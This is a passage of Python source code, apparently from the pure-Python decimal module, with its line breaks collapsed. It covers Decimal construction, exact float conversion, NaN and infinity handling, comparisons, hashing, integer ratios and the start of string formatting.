m.group('signal'): self._exp = 'N' else: self._exp = 'n' else: # infinity self._int = '0' self._exp = 'F' self._is_special = True return self # From an integer if isinstance(value, int): if value >= 0: self._sign = 0 else: self._sign = 1 self._exp = 0 self._int = str(abs(value)) self._is_special = False return self # From another decimal if isinstance(value, Decimal): self._exp = value._exp self._sign = value._sign self._int = value._int self._is_special = value._is_special return self # From an internal working value if isinstance(value, _WorkRep): self._sign = value.sign self._int = str(value.int) self._exp = int(value.exp) self._is_special = False return self # tuple/list conversion (possibly from as_tuple()) if isinstance(value, (list,tuple)): if len(value) != 3: raise ValueError('Invalid tuple size in creation of Decimal ' 'from list or tuple. The list or tuple ' 'should have exactly three elements.') # process sign. The isinstance test rejects floats if not (isinstance(value[0], int) and value[0] in (0,1)): raise ValueError("Invalid sign. The first value in the tuple " "should be an integer; either 0 for a " "positive number or 1 for a negative number.") self._sign = value[0] if value[2] == 'F': # infinity: value[1] is ignored self._int = '0' self._exp = value[2] self._is_special = True else: # process and validate the digits in value[1] digits = [] for digit in value[1]: if isinstance(digit, int) and 0 <= digit <= 9: # skip leading zeros if digits or digit != 0: digits.append(digit) else: raise ValueError("The second value in the tuple must " "be composed of integers in the range " "0 through 9.") if value[2] in ('n', 'N'): # NaN: digits form the diagnostic self._int = ''.join(map(str, digits)) self._exp = value[2] self._is_special = True elif isinstance(value[2], int): # finite number: digits give the coefficient self._int = ''.join(map(str, digits or [0])) self._exp = value[2] self._is_special = False else: raise ValueError("The third value in the tuple must " "be an integer, or one of the " "strings 'F', 'n', 'N'.") return self if isinstance(value, float): if context is None: context = getcontext() context._raise_error(FloatOperation, "strict semantics for mixing floats and Decimals are " "enabled") value = Decimal.from_float(value) self._exp = value._exp self._sign = value._sign self._int = value._int self._is_special = value._is_special return self raise TypeError("Cannot convert %r to Decimal" % value) @classmethod def from_float(cls, f): """Converts a float to a decimal number, exactly. Note that Decimal.from_float(0.1) is not the same as Decimal('0.1'). Since 0.1 is not exactly representable in binary floating point, the value is stored as the nearest representable value which is 0x1.999999999999ap-4. The exact equivalent of the value in decimal is 0.1000000000000000055511151231257827021181583404541015625. >>> Decimal.from_float(0.1) Decimal('0.1000000000000000055511151231257827021181583404541015625') >>> Decimal.from_float(float('nan')) Decimal('NaN') >>> Decimal.from_float(float('inf')) Decimal('Infinity') >>> Decimal.from_float(-float('inf')) Decimal('-Infinity') >>> Decimal.from_float(-0.0) Decimal('-0') """ if isinstance(f, int): # handle integer inputs return cls(f) if not isinstance(f, float): raise TypeError("argument must be int or float.") if _math.isinf(f) or _math.isnan(f): return cls(repr(f)) if _math.copysign(1.0, f) == 1.0: sign = 0 else: sign = 1 n, d = abs(f).as_integer_ratio() k = d.bit_length() - 1 result = _dec_from_triple(sign, str(n*5**k), -k) if cls is Decimal: return result else: return cls(result) def _isnan(self): """Returns whether the number is not actually one. 0 if a number 1 if NaN 2 if sNaN """ if self._is_special: exp = self._exp if exp == 'n': return 1 elif exp == 'N': return 2 return 0 def _isinfinity(self): """Returns whether the number is infinite 0 if finite or not a number 1 if +INF -1 if -INF """ if self._exp == 'F': if self._sign: return -1 return 1 return 0 def _check_nans(self, other=None, context=None): """Returns whether the number is not actually one. if self, other are sNaN, signal if self, other are NaN return nan return 0 Done before operations. """ self_is_nan = self._isnan() if other is None: other_is_nan = False else: other_is_nan = other._isnan() if self_is_nan or other_is_nan: if context is None: context = getcontext() if self_is_nan == 2: return context._raise_error(InvalidOperation, 'sNaN', self) if other_is_nan == 2: return context._raise_error(InvalidOperation, 'sNaN', other) if self_is_nan: return self._fix_nan(context) return other._fix_nan(context) return 0 def _compare_check_nans(self, other, context): """Version of _check_nans used for the signaling comparisons compare_signal, __le__, __lt__, __ge__, __gt__. Signal InvalidOperation if either self or other is a (quiet or signaling) NaN. Signaling NaNs take precedence over quiet NaNs. Return 0 if neither operand is a NaN. """ if context is None: context = getcontext() if self._is_special or other._is_special: if self.is_snan(): return context._raise_error(InvalidOperation, 'comparison involving sNaN', self) elif other.is_snan(): return context._raise_error(InvalidOperation, 'comparison involving sNaN', other) elif self.is_qnan(): return context._raise_error(InvalidOperation, 'comparison involving NaN', self) elif other.is_qnan(): return context._raise_error(InvalidOperation, 'comparison involving NaN', other) return 0 def __bool__(self): """Return True if self is nonzero; otherwise return False. NaNs and infinities are considered nonzero. """ return self._is_special or self._int != '0' def _cmp(self, other): """Compare the two non-NaN decimal instances self and other. Returns -1 if self < other, 0 if self == other and 1 if self > other. This routine is for internal use only.""" if self._is_special or other._is_special: self_inf = self._isinfinity() other_inf = other._isinfinity() if self_inf == other_inf: return 0 elif self_inf < other_inf: return -1 else: return 1 # check for zeros; Decimal('0') == Decimal('-0') if not self: if not other: return 0 else: return -((-1)**other._sign) if not other: return (-1)**self._sign # If different signs, neg one is less if other._sign < self._sign: return -1 if self._sign < other._sign: return 1 self_adjusted = self.adjusted() other_adjusted = other.adjusted() if self_adjusted == other_adjusted: self_padded = self._int + '0'*(self._exp - other._exp) other_padded = other._int + '0'*(other._exp - self._exp) if self_padded == other_padded: return 0 elif self_padded < other_padded: return -(-1)**self._sign else: return (-1)**self._sign elif self_adjusted > other_adjusted: return (-1)**self._sign else: # self_adjusted < other_adjusted return -((-1)**self._sign) # Note: The Decimal standard doesn't cover rich comparisons for # Decimals. In particular, the specification is silent on the # subject of what should happen for a comparison involving a NaN. # We take the following approach: # # == comparisons involving a quiet NaN always return False # != comparisons involving a quiet NaN always return True # == or != comparisons involving a signaling NaN signal # InvalidOperation, and return False or True as above if the # InvalidOperation is not trapped. # <, >, <= and >= comparisons involving a (quiet or signaling) # NaN signal InvalidOperation, and return False if the # InvalidOperation is not trapped. # # This behavior is designed to conform as closely as possible to # that specified by IEEE 754. def __eq__(self, other, context=None): self, other = _convert_for_comparison(self, other, equality_op=True) if other is NotImplemented: return other if self._check_nans(other, context): return False return self._cmp(other) == 0 def __lt__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) < 0 def __le__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) <= 0 def __gt__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) > 0 def __ge__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) >= 0 def compare(self, other, context=None): """Compare self to other. Return a decimal value: a or b is a NaN ==> Decimal('NaN') a < b ==> Decimal('-1') a == b ==> Decimal('0') a > b ==> Decimal('1') """ other = _convert_other(other, raiseit=True) # Compare(NaN, NaN) = NaN if (self._is_special or other and other._is_special): ans = self._check_nans(other, context) if ans: return ans return Decimal(self._cmp(other)) def __hash__(self): """x.__hash__() <==> hash(x)""" # In order to make sure that the hash of a Decimal instance # agrees with the hash of a numerically equal integer, float # or Fraction, we follow the rules for numeric hashes outlined # in the documentation. (See library docs, 'Built-in Types'). if self._is_special: if self.is_snan(): raise TypeError('Cannot hash a signaling NaN value.') elif self.is_nan(): return _PyHASH_NAN else: if self._sign: return -_PyHASH_INF else: return _PyHASH_INF if self._exp >= 0: exp_hash = pow(10, self._exp, _PyHASH_MODULUS) else: exp_hash = pow(_PyHASH_10INV, -self._exp, _PyHASH_MODULUS) hash_ = int(self._int) * exp_hash % _PyHASH_MODULUS ans = hash_ if self >= 0 else -hash_ return -2 if ans == -1 else ans def as_tuple(self): """Represents the number as a triple tuple. To show the internals exactly as they are. """ return DecimalTuple(self._sign, tuple(map(int, self._int)), self._exp) def as_integer_ratio(self): """Express a finite Decimal instance in the form n / d. Returns a pair (n, d) of integers. When called on an infinity or NaN, raises OverflowError or ValueError respectively. >>> Decimal('3.14').as_integer_ratio() (157, 50) >>> Decimal('-123e5').as_integer_ratio() (-12300000, 1) >>> Decimal('0.00').as_integer_ratio() (0, 1) """ if self._is_special: if self.is_nan(): raise ValueError("cannot convert NaN to integer ratio") else: raise OverflowError("cannot convert Infinity to integer ratio") if not self: return 0, 1 # Find n, d in lowest terms such that abs(self) == n / d; # we'll deal with the sign later. n = int(self._int) if self._exp >= 0: # self is an integer. n, d = n * 10**self._exp, 1 else: # Find d2, d5 such that abs(self) = n / (2**d2 * 5**d5). d5 = -self._exp while d5 > 0 and n % 5 == 0: n //= 5 d5 -= 1 # (n & -n).bit_length() - 1 counts trailing zeros in binary # representation of n (provided n is nonzero). d2 = -self._exp shift2 = min((n & -n).bit_length() - 1, d2) if shift2: n >>= shift2 d2 -= shift2 d = 5**d5 << d2 if self._sign: n = -n return n, d def __repr__(self): """Represents the number as an instance of Decimal.""" # Invariant: eval(repr(d)) == d return "Decimal('%s')" % str(self) def __str__(self, eng=False, context=None): """Return string representation of the number in scientific notation. Captures all of the information in the underlying representation. """ sign = ['', '-'][self._sign] if self._is_special: if self._exp == 'F': return sign + 'Infinity' elif self._exp == 'n': return sign + 'NaN' + self._int else: # self._exp == 'N' return sign + 'sNaN' + self._int # number of digits of self._int to left of decimal point leftdigits = self._exp + len(self._int) # dotplace is number of digits of self._int to the left of the # decimal point in the mantissa of the output string (that is, # after adjusting the exponent) if self._exp <= 0 and leftdigits > -6: # no exponent required dotplace = leftdigits elif not eng: # usual scientific notation: 1 digit on left of the point dotplace = 1 elif self._int == '0': # engineering notation, zero dotplace = (leftdigits + 1) % 3 - 1 else: # engineering notation, nonzero dotplace = (leftdigits - 1) % 3 + 1 if dotplace <= 0: intpa